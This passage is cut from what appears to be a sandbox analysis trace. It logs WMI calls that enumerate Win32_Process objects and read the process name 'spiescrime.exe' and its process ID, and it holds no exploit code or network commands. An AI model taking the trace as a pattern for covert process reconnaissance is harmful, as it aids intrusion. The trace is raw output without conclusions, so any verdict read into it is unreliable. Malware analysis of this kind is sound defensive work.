wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.318] IWbemClassObject:Get (in: This=0x6107368, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.318] IWbemClassObject:Get (in: This=0x6107368, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.318] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.318] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.318] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.318] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.318] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6107500, puReturned=0x2e27944*=0x1) returned 0x0 [0067.319] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.319] IWbemClassObject:Get (in: This=0x6107500, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.319] IWbemClassObject:Get (in: This=0x6107500, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.319] IWbemClassObject:Get (in: This=0x6107500, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.319] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.319] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.319] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.319] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.319] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x0, puReturned=0x2e27944*=0x0) returned 0x1 [0067.320] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.320] WbemLocator:IUnknown:Release (This=0x4284bc) returned 0x1 [0067.320] IUnknown:Release (This=0x60fd634) returned 0x0 [0067.329] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.329] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.329] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.329] IWbemClassObject:Get (in: This=0x60fd670, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e389c0*=0, plFlavor=0x2e389c4*=0 | out: pVal=0x5e8e58c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e389c0*=8, plFlavor=0x2e389c4*=64) returned 0x0 [0067.330] IWbemClassObject:Get (in: This=0x60fd670, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e389c0*=8, plFlavor=0x2e389c4*=64 | out: pVal=0x5e8e590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e389c0*=8, plFlavor=0x2e389c4*=64) returned 0x0 [0067.330] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.330] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.330] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.330] IWbemClassObject:Get (in: This=0x60fd670, wszName="__CLASS", lFlags=0, pVal=0x5e8e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e38a28*=0, plFlavor=0x2e38a2c*=0 | out: pVal=0x5e8e58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e38a28*=8, plFlavor=0x2e38a2c*=64) returned 0x0 [0067.330] SysStringLen (param_1="Win32_Process") returned 0xd [0067.330] IWbemClassObject:Get (in: This=0x60fd670, wszName="__CLASS", lFlags=0, pVal=0x5e8e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e38a28*=8, plFlavor=0x2e38a2c*=64 | out: pVal=0x5e8e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e38a28*=8, plFlavor=0x2e38a2c*=64) returned 0x0 [0067.330] SysStringLen (param_1="Win32_Process") returned 0xd [0067.332] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.332] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.332] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.332] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.332] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.332] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.332] IWbemClassObject:GetNames (in: This=0x60fd670, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e550 | out: pNames=0x5e8e550*="\x01ƀ\x04") returned 0x0 [0067.333] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.333] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.333] SafeArrayGetLBound (in: psa=0x41eb00, nDim=0x1, plLbound=0x5e8e14c | out: plLbound=0x5e8e14c) returned 0x0 [0067.334] IWbemClassObject:Get (in: This=0x60fd670, wszName="__GENUS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e396cc*=0, plFlavor=0x2e396d0*=0 | out: pVal=0x5e8e57c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2e396cc*=3, plFlavor=0x2e396d0*=64) returned 0x0 [0067.334] IWbemClassObject:Get (in: This=0x60fd670, wszName="__CLASS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39700*=0, plFlavor=0x2e39704*=0 | out: pVal=0x5e8e57c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e39700*=8, plFlavor=0x2e39704*=64) returned 0x0 [0067.334] SysStringLen (param_1="Win32_Process") returned 0xd [0067.334] IWbemClassObject:Get (in: This=0x60fd670, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39754*=0, plFlavor=0x2e39758*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39754*=8, plFlavor=0x2e39758*=64) returned 0x0 [0067.334] IWbemClassObject:Get (in: This=0x60fd670, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3977c*=0, plFlavor=0x2e39780*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3977c*=8, plFlavor=0x2e39780*=64) returned 0x0 [0067.335] IWbemClassObject:Get (in: This=0x60fd670, wszName="__RELPATH", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e397a4*=0, plFlavor=0x2e397a8*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e397a4*=8, plFlavor=0x2e397a8*=64) returned 0x0 [0067.335] IWbemClassObject:Get (in: This=0x60fd670, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e397cc*=0, plFlavor=0x2e397d0*=0 | out: pVal=0x5e8e57c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2e397cc*=3, plFlavor=0x2e397d0*=64) returned 0x0 [0067.335] IWbemClassObject:Get (in: This=0x60fd670, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39800*=0, plFlavor=0x2e39804*=0 | out: pVal=0x5e8e57c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eb00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b130, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2e39800*=8200, plFlavor=0x2e39804*=64) returned 0x0 [0067.335] IWbemClassObject:Get (in: This=0x60fd670, wszName="__SERVER", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39838*=0, plFlavor=0x2e3983c*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39838*=8, plFlavor=0x2e3983c*=64) returned 0x0 [0067.336] IWbemClassObject:Get (in: This=0x60fd670, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39860*=0, plFlavor=0x2e39864*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39860*=8, plFlavor=0x2e39864*=64) returned 0x0 [0067.336] IWbemClassObject:Get (in: This=0x60fd670, wszName="__PATH", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39888*=0, plFlavor=0x2e3988c*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39888*=8, plFlavor=0x2e3988c*=64) returned 0x0 [0067.336] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5fc | out: puCount=0x5e8e5fc*=0x2) returned 0x0 [0067.336] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5f8*=0x17, pszText=0x0) returned 0x0 [0067.336] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5f8*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.336] IWbemClassObject:Get (in: This=0x60fd670, wszName="Name", lFlags=0, pVal=0x5e8e5b8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39900*=0, plFlavor=0x2e39904*=0 | out: pVal=0x5e8e5b8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="spiescrime.exe", varVal2=0x0), pType=0x2e39900*=8, plFlavor=0x2e39904*=0) returned 0x0 [0067.336] SysStringLen (param_1="spiescrime.exe") returned 0xe [0067.336] IWbemClassObject:Get (in: This=0x60fd670, wszName="Name", lFlags=0, pVal=0x5e8e670*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39900*=8, plFlavor=0x2e39904*=0 | out: pVal=0x5e8e670*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="spiescrime.exe", varVal2=0x0), pType=0x2e39900*=8, plFlavor=0x2e39904*=0) returned 0x0 [0067.336] SysStringLen (param_1="spiescrime.exe") returned 0xe [0067.336] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.336] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.336] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.336] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.336] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.336] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.337] IWbemClassObject:GetNames (in: This=0x60fd670, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e50c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e4d8 | out: pNames=0x5e8e4d8*="\x01ƀ\x04") returned 0x0 [0067.337] SafeArrayGetDim (psa=0x41ea10) returned 0x1 [0067.337] SafeArrayGetDim (psa=0x41ea10) returned 0x1 [0067.337] SafeArrayGetLBound (in: psa=0x41ea10, nDim=0x1, plLbound=0x5e8e0d4 | out: plLbound=0x5e8e0d4) returned 0x0 [0067.337] IWbemClassObject:Get (in: This=0x60fd670, wszName="__GENUS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39de0*=0, plFlavor=0x2e39de4*=0 | out: pVal=0x5e8e504*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2e39de0*=3, plFlavor=0x2e39de4*=64) returned 0x0 [0067.337] IWbemClassObject:Get (in: This=0x60fd670, wszName="__CLASS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39e14*=0, plFlavor=0x2e39e18*=0 | out: pVal=0x5e8e504*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e39e14*=8, plFlavor=0x2e39e18*=64) returned 0x0 [0067.337] SysStringLen (param_1="Win32_Process") returned 0xd [0067.337] IWbemClassObject:Get (in: This=0x60fd670, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39e68*=0, plFlavor=0x2e39e6c*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39e68*=8, plFlavor=0x2e39e6c*=64) returned 0x0 [0067.337] IWbemClassObject:Get (in: This=0x60fd670, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39e90*=0, plFlavor=0x2e39e94*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39e90*=8, plFlavor=0x2e39e94*=64) returned 0x0 [0067.337] IWbemClassObject:Get (in: This=0x60fd670, wszName="__RELPATH", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39eb8*=0, plFlavor=0x2e39ebc*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39eb8*=8, plFlavor=0x2e39ebc*=64) returned 0x0 [0067.337] IWbemClassObject:Get (in: This=0x60fd670, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39ee0*=0, plFlavor=0x2e39ee4*=0 | out: pVal=0x5e8e504*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2e39ee0*=3, plFlavor=0x2e39ee4*=64) returned 0x0 [0067.338] IWbemClassObject:Get (in: This=0x60fd670, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39f14*=0, plFlavor=0x2e39f18*=0 | out: pVal=0x5e8e504*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41ea10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b130, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2e39f14*=8200, plFlavor=0x2e39f18*=64) returned 0x0 [0067.338] IWbemClassObject:Get (in: This=0x60fd670, wszName="__SERVER", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39f4c*=0, plFlavor=0x2e39f50*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39f4c*=8, plFlavor=0x2e39f50*=64) returned 0x0 [0067.338] IWbemClassObject:Get (in: This=0x60fd670, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39f74*=0, plFlavor=0x2e39f78*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39f74*=8, plFlavor=0x2e39f78*=64) returned 0x0 [0067.338] IWbemClassObject:Get (in: This=0x60fd670, wszName="__PATH", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39f9c*=0, plFlavor=0x2e39fa0*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e39f9c*=8, plFlavor=0x2e39fa0*=64) returned 0x0 [0067.338] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e584 | out: puCount=0x5e8e584*=0x2) returned 0x0 [0067.338] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e580*=0x17, pszText=0x0) returned 0x0 [0067.338] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e580*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.338] IWbemClassObject:Get (in: This=0x60fd670, wszName="ProcessId", lFlags=0, pVal=0x5e8e540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3a004*=0, plFlavor=0x2e3a008*=0 | out: pVal=0x5e8e540*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x76c, varVal2=0x0), pType=0x2e3a004*=19, plFlavor=0x2e3a008*=0) returned 0x0 [0067.338] IWbemClassObject:Get (in: This=0x60fd670, wszName="ProcessId", lFlags=0, pVal=0x5e8e5f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3a004*=19, plFlavor=0x2e3a008*=0 | out: pVal=0x5e8e5f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x76c, varVal2=0x0), pType=0x2e3a004*=19, plFlavor=0x2e3a008*=0) returned 0x0 [0067.340] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.340] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.340] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.340] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.340] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.340] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.340] IWbemClassObject:GetNames (in: This=0x60fd670, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e2ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e2b8 | out: pNames=0x5e8e2b8*="\x01ƀ\x04") returned 0x0 [0067.340] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.340] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.340] SafeArrayGetLBound (in: psa=0x41eb00, nDim=0x1, plLbound=0x5e8deb4 | out: plLbound=0x5e8deb4) returned 0x0 [0067.341] IWbemClassObject:Get (in: This=0x60fd670, wszName="__GENUS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3ac1c*=0, plFlavor=0x2e3ac20*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2e3ac1c*=3, plFlavor=0x2e3ac20*=64) returned 0x0 [0067.341] IWbemClassObject:Get (in: This=0x60fd670, wszName="__CLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3ac50*=0, plFlavor=0x2e3ac54*=0 | out: pVal=0x5e8e2e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e3ac50*=8, plFlavor=0x2e3ac54*=64) returned 0x0 [0067.341] SysStringLen (param_1="Win32_Process") returned 0xd [0067.341] IWbemClassObject:Get (in: This=0x60fd670, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3aca4*=0, plFlavor=0x2e3aca8*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, 